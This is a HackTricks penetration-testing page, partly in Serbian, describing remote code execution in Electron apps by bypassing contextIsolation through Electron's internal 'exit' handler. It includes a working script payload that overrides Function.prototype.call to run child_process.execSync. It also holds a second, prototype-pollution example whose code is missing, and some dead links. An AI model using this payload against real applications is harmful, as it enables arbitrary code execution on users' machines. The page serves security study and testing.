4.1 KiB
Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Example 1
"exit" event listener je uvek postavljen od strane internog koda kada je učitavanje stranice započeto. Ovaj događaj se emituje neposredno pre navigacije:
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{% embed url="664c184fcb/lib/common/asar.js (L30-L36)
" %}
8a44289089/bin/events.js (L156-L231)
-- Više ne postoji
Zatim ide ovde:
Gde je "self" Node-ov objekat procesa:
Objekat procesa ima reference na "require" funkciju:
process.mainModule.require
Kao što će handler.call primiti objekat procesa, možemo ga prepisati da izvršimo proizvoljan kod:
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
Primer 2
Dobijanje require objekta iz zagađenja prototipa. Sa https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Curjenje:
Eksploatacija:
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.